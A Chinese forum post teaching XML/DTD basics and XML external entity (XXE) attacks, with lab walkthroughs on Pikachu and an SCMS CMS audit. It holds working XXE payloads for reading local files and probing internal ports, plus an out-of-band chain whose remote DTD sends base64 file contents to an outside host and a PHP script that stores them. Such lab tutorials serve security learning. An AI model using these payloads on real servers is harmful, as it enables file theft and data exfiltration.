楼主: l0velock
387 0

[其他] 【XXE详解】附代码审计SCMS靶场XXE漏洞实战过程 [推广有奖]

  • 0关注
  • 0粉丝

等待验证会员

学前班

80%

还不是VIP/贵宾

-

威望
0
论坛币
0 个
通用积分
0
学术水平
0 点
热心指数
0 点
信用等级
0 点
经验
30 点
帖子
2
精华
0
在线时间
0 小时
注册时间
2018-7-30
最后登录
2018-7-30

楼主
l0velock 发表于 2025-11-26 17:11:30 |AI写论文

+2 论坛币
k人 参与回答

经管之家送您一份

应届毕业生专属福利!

求职就业群
赵安豆老师微信:zhaoandou666

经管之家联合CDA

送您一个全额奖学金名额~ !

感谢您参与论坛问题回答

经管之家送您两个论坛币!

+2 论坛币

一、XXE漏洞概述

XXE,全称为XML External Entity Injection,即XML外部实体注入漏洞。要深入理解XXE的原理与利用方式,首先需要掌握XML的基本概念和结构。

二、XML基础介绍

XML(Extensible Markup Language)是一种类似于HTML的标记语言,但其设计目标主要用于数据的传输和存储,而非像HTML那样用于页面展示。

与HTML不同,XML没有预定义标签,所有标签都需要用户自行定义。因此,它具有更高的灵活性,适用于多种数据交互场景。

2.0 XML基本语法

<?xml version="1.0" encoding="UTF-8"?>
 <note>
 <to>Tove</to>
 <from>Jani</from>
 <heading>Reminder</heading>
 <body>Don't forget me this weekend!</body>
 </note>

语法解析说明:

<note>:是根元素
 而:
 <to>Tove</to>
 <from>Jani</from>
 <heading>Reminder</heading>
 <body>Don't forget me this weekend!</body>
 <to><from><heading><body>这些标签都是子元素

2.1 XML语法规则

  • 每个XML文档必须包含一个根元素。
  • 所有XML元素都必须有对应的结束标签。
  • XML标签对大小写敏感,例如<To>与<to>被视为不同的标签。
  • 空格在XML中会被原样保留。
  • XML声明通常出现在文档开头,用以指定版本和编码等信息。

2.2 命名规范

在定义XML元素名称时需遵循以下规则:

  • 名称不能以数字或标点符号开头;
  • 不能以“xml”、“XML”、“Xml”等形式开头(不区分大小写);
  • 名称中不允许包含空格。

2.3 XML的合法性验证

一个“合法”的XML文档是指通过DTD(Document Type Definition,文档类型定义)验证的文档。这意味着每份XML文件都应包含DTD声明。

掌握DTD相关知识对于理解和利用XXE漏洞至关重要。接下来我们通过XML来学习DTD的使用方法。

三、DTD在XML中的声明方式

DTD(Document Type Definition)用于定义XML文档的结构和合法元素。根据DTD的引入方式,可分为内部DTD和外部DTD。

3.0 内部DTD

当DTD被直接嵌入到XML文件中时,称为内部DTD。此时应将其包裹在DOCTYPE声明中,语法如下:

<!DOCTYPE root-element [element-declarations]>

其中:

  • root-element:表示XML文档的根元素;
  • element-declarations:描述该文档允许的元素及其结构。

示例:一个完整的内部DTD定义如下:

<?xml version="1.0"?>
 <!DOCTYPE note [
 <!ELEMENT note (to,from,heading,body)>
 <!ELEMENT to (#PCDATA)>                 
<!ELEMENT from (#PCDATA)>               
<!ELEMENT heading (#PCDATA)>
 <!ELEMENT body (#PCDATA)>
 ]>
 <note>
 <to>程咬金</to>
 <from>貂蝉</from>
 <heading>通知</heading>
 <body>今天晚上,大战三百回合!</body>
 </note>

对该DTD的解释:

  • !ELEMENT:用于声明某个元素的名称及内容结构;
  • !DOCTYPE note 表明该文档属于note类型;
  • note作为根元素,包含四个子元素:to、from、heading、body;
  • #PCDATA 表示这些子元素的内容可以是任意文本字符串。

例如,在以下XML片段中:

程咬金
貂蝉
通知
今天晚上,大战三百回合!

上述内容中的“程咬金”、“貂蝉”、“通知”以及“今天晚上,大战三百回合!”均属于#PCDATA类型的值,即可自由填写的文本内容。

3.1 外部DTD

若DTD独立于XML文件之外,则称为外部DTD,其引用语法如下:

<!DOCTYPE root-element SYSTEM "filename">

注意:SYSTEM关键字必须大写,filename指代外部DTD文件路径。

首先创建一个名为note.dtd的外部文件:

<!ELEMENT note (to,from,heading,body)>
 <!ELEMENT to (#PCDATA)>
 <!ELEMENT from (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body (#PCDATA)>

然后编写引用该DTD的XML文件:

<?xml version="1.0" encoding="utf-8" ?>
 <!DOCTYPE note SYSTEM "note.dtd">
 <note>
  <to>周瑜</to>
  <from>黄盖</from>
  <heading>提示</heading>
  <body>老子不服输</body>
 </note>

3.2 实体与内部DTD声明

在DTD中,“实体”类似于变量,可在文档内部或外部进行声明。实体的基本格式由三部分组成:一个&符号、实体名称、一个分号,如:&age;

语法结构如下:

<!ENTITY entity-name "entity-value">

示例应用:

<?xml version="1.0" encoding="UTF-8" ?>
 <!DOCTYPE stu [
  <!-- 元素声明 -->
  <!ELEMENT stu (name, age, address)>
  <!ELEMENT name (#PCDATA)>
  <!ELEMENT age (#PCDATA)>
  <!ELEMENT address (#PCDATA)>
  <!-- 实体声明 -->
  <!ENTITY name "亚瑟">
  <!ENTITY age "18">
   <!ENTITY address "对抗路">
 ]>
 <!-- 实体引用部分 -->
 <stu>
  <name>&name;</name>
  <age>&age;</age>
  <address>&address;</address>
 </stu>

浏览器渲染效果如下:

3.3 外部实体引用

外部实体的声明方式与内部实体类似,区别在于其数据源位于外部文件中。

一种常见的引用方式是以实体形式加载外部txt文件:

<?xml version="1.0" encoding="UTF-8" ?>
 <!DOCTYPE root[
 <!ENTITY name SYSTEM "file:///D:/www/xxe/data.txt">]>
 <root>
    <username>&name;</username>
 </root>

例如:file:///D:/www/xxe/data.txt,可替换为实际存在的本地文件路径。

注意:直接通过浏览器打开XML文件无法读取此类外部资源,必须借助服务端程序(如PHP)进行解析。

此外,data.txt中只能存放纯文本形式的实体值,例如&name;所对应的字符串内容。

另一种方式是引用外部DTD文件,但必须将引用直接写入DOCTYPE声明中:

<?xml version="1.0" encoding="UTF-8" ?>
 <!DOCTYPE root SYSTEM "data.dtd">
 <root>
    <username>&name;</username>
 </root>

两种方式的主要差异在于:

  • 通过实体声明(<!ENTITY name SYSTEM ...>)的方式只能读取普通文本文件(如txt);
  • 若要引用外部DTD文件,则必须在DOCTYPE中直接使用SYSTEM方式进行SYSTEM引用,例如:
<!DOCTYPE root SYSTEM "data.dtd">

3.4 使用PHP解析XML

以下是用于解析XML并处理DTD/实体的PHP代码示例:

<?php
  header("Content-type:text/html;charset=utf-8");
 $xml = <<<eof
 <?xml version="1.0" encoding="UTF-8" ?>
 <!DOCTYPE root[
 <!ENTITY name SYSTEM "file:///D:/123.txt">]>
 <root>
 <username>&name;</username>
 </root>
 eof;
 $obj = simplexml_load_string($xml,"SimpleXMLElement", LIBXML_NOENT | 
LIBXML_DTDLOAD );
 echo $obj->username;

只需将自定义的XML内容插入至$xml = <<<EOFEOF; 之间,即可通过PHP成功解析外部DTD或TXT文件,并调用实体(如&name;)的实际值。

3.5 参数实体的使用

参数实体是一种特殊的实体,仅能在DTD内部使用。其语法如下:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

注意事项:

  • % 与实体名称之间必须有一个空格;
  • 参数实体只能在DOCTYPE内部声明,而普通实体通常在DOCTYPE外部使用。

示例XML内容:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE people [

        <!ENTITY % name SYSTEM "entitytestout.dtd">
 <!--在DOCTYPE内加载外部参数实体-->
        %name;
        ]>
        
 <!--实体引用--> 
<people>
        <username>&name;</username>
         <!--这里还可以继续写别的一般实体-->
</people>

对应的PHP处理代码:

<?php
header("Content-type:text/html;charset=utf-8");
$xml = <<<eof
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE people [
    
    <!ENTITY % name SYSTEM "entitytestout.dtd">

<!--加载外部参数实体-->
 %name;
 ]>
<people>
          <username>&name;</username>
</people>
eof;

$obj = simplexml_load_string($xml,"SimpleXMLElement", LIBXML_NOENT |
    LIBXML_DTDLOAD );

//username 指的元素标签 
echo $obj->username;

特别提醒:

参数实体的外部引用方式不同于普通实体。此前已说明,普通实体若要引用外部TXT文件,可通过实体声明实现;但若想引用外部DTD文件,则必须将其直接写入DOCTYPE中并通过SYSTEM方式引入。参数实体同样遵循此规则。

四、XXE漏洞原理

在了解XML的基础上,我们可以进一步分析XXE漏洞的形成机制。

漏洞成因:当系统在解析XML文档时,未对外部实体进行有效限制,攻击者便可将恶意的POC(Proof of Concept)注入至XML结构中。这会导致服务器加载非法外部实体,从而引发诸如文件读取、SSRF(服务器端请求伪造)、甚至命令执行等安全问题。

五、XXE漏洞利用

以下是一个典型的XXE漏洞用于读取服务器本地文件的POC示例:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<root>&xxe;</root>

注意:win.ini属于文本格式文件,因此可以在外部实体声明中通过SYSTEM方式被正常引用和加载。

而参数实体的特点则有所不同

参数实体可被PHP直接解析,这意味着可以通过实体声明使用SYSTEM方式引入外部DTD文件,无需将其改为txt扩展名。

DTD内容如下:

<!--   元素声明      -->
                <!ELEMENT people (person,person)>
                <!ELEMENT person (username,age,address)>
                <!ELEMENT username (#PCDATA)>   <!--  #PCDATA   any  可以输入任意值  -->
                <!ELEMENT age (#PCDATA)>
                <!ELEMENT address (#PCDATA)>

        <!--   实体声明     -->
                <!ENTITY name "黄昏">
                <!ENTITY age "11">
                <!ENTITY city "北京">

需要注意的是:在实际应用中,可以忽略DTD中的元素声明部分,仅保留实体声明即可。因为PHP在处理SYSTEM引用时,只会解析实体声明区域。也就是说,在PHP环境下,根元素或子元素的名称可以任意定义,只要确保实体名称正确无误即可生效。

运行对应的PHP页面后,解析结果如下所示:

六、Pikachu靶场实战

进入Pikachu靶场后,首先查看其后端实现代码并进行审计:

一旦发现代码中存在 simplexml_load_string() 函数调用,并且带有 LIBXML_NOENT 参数,则基本可以判定存在XXE漏洞的可能性极高。

该参数的作用是主动展开实体引用——若此时允许加载外部实体,便会触发XXE攻击条件。

6.0 注入XXE

第一个POC:

<?xml version = "1.0"?>
 <!DOCTYPE ANY [
   <!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
 ]>
 <x>&xxe;</x>

第二个POC:探测内网端口

<?xml version = "1.0" encoding="UTF-8"?>
 <!DOCTYPE ANY [
 <!ENTITY % xxe SYSTEM "http://127.0.0.1:3306">
 %xxe;
  ]>
 
 <x>&xxe;</x>

<?xml version = "1.0" encoding="UTF-8"?>
 <!DOCTYPE ANY [
 <!ENTITY xxe SYSTEM "http://127.0.0.1:3307">
 %xxe;
]>
 <x>&xxe;</x>

两个POC返回结果不同:其中一个返回空白,原因是MySQL服务返回的是二进制数据,而libxml无法解析此类数据;另一个则表现为持续加载(转圈),是因为目标端口3307实际上不存在。

第三个POC:DNSlog验证方式

<?xml version = "1.0" encoding="UTF-8"?>
 <!DOCTYPE ANY [
 <!ENTITY % file SYSTEM "http://372.cc324092.log.dnslog.pp.ua">
 %file;
 ]>

由于此方法不依赖页面回显,因此无需使用参数实体引用。

6.1 盲注XXE(无回显场景)

当目标没有直接数据回显时(即盲注情况),需要通过间接手段将获取的信息发送到第三方服务器。通常采用三步法:

  1. 准备payload:
<?xml version = "1.0"?>
 <!DOCTYPE test [
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
 <!ENTITY % dtd SYSTEM "http://192.168.88.1/remote.dtd">
 %dtd;
 %send;
 ]>
  1. 远程服务器上的 remote.dtd 文件内容:
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.88.1/remote.php?data=%file;'>">
 %payload;

注意:% 字符在此处使用了十六进制实体编码形式(即 %25)。这样做的目的是为了延迟解析过程,确保先由DTD处理器解析 % payload 部分。

  1. 远程服务器上配置 remote.php 脚本:
<?php file_put_contents('1.txt',$_GET['data']);

若操作成功,将在你的远程服务器根目录生成一个名为 1.txt 的文件,其中以Base64编码形式记录了 /windows/win.ini 的实际内容。

七、SCMS靶场代码审计实战详解

将SCMS项目的后端源码导入Seay审计工具中,开始全面代码审查。

通过全局搜索关键敏感函数:simplexml_load_string(),定位潜在风险点。

查看第五个匹配项,发现存在可疑调用。

深入分析源码:

可以看到,该函数接收的变量为 postArr,并生成 postObj 对象。根据后续逻辑判断,若想让XXE漏洞产生回显效果,需构造特定的子元素结构。

具体所需子元素如下:

<MsgType>text</MsgType>   这个子元素标签的值还必须是text才会走到这一步if里面;
<Content></Content>
<FromUserName></FromUserName>
<ToUserName></ToUserName>
除了<MsgType>text</MsgType>这个子元素标签的值我们知道是text以外,其余都不知道。

然而,若无法确定确切回显位置,可采取“盲猜”策略,对所有可能的位置注入实体引用 &xxe;。

构造如下payload:

<?xml version="1.0" encoding="UTF-8" ?>
 <!DOCTYPE ANY [
 <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
 ]>
 <x>
<MsgType>text</MsgType>   
<Content>&xxe;</Content>
<FromUserName>&xxe;</FromUserName>
<ToUserName>&xxe;</ToUserName>
 </x>

使用Burp Suite抓取目标页面请求包。根据代码逻辑,signature 参数必须存在,可随意赋值如=123。

目标URL为:

http://www.xxecms.com/weixin/index.php?signature=123

将上述payload附加在请求体末尾:

最终观察响应结果发现:两个子元素标签均成功回显出 win.ini 文件的内容。

GET IT!

二维码

扫码加我 拉你入群

请注明:姓名-公司-职位

以便审核进群资格,未注明则拒绝

关键词:CMS SCM Declaration definition signature

您需要登录后才可以回帖 登录 | 我要注册

本版微信群
加好友,备注ck
拉您进交流群
GMT+8, 2026-2-15 23:01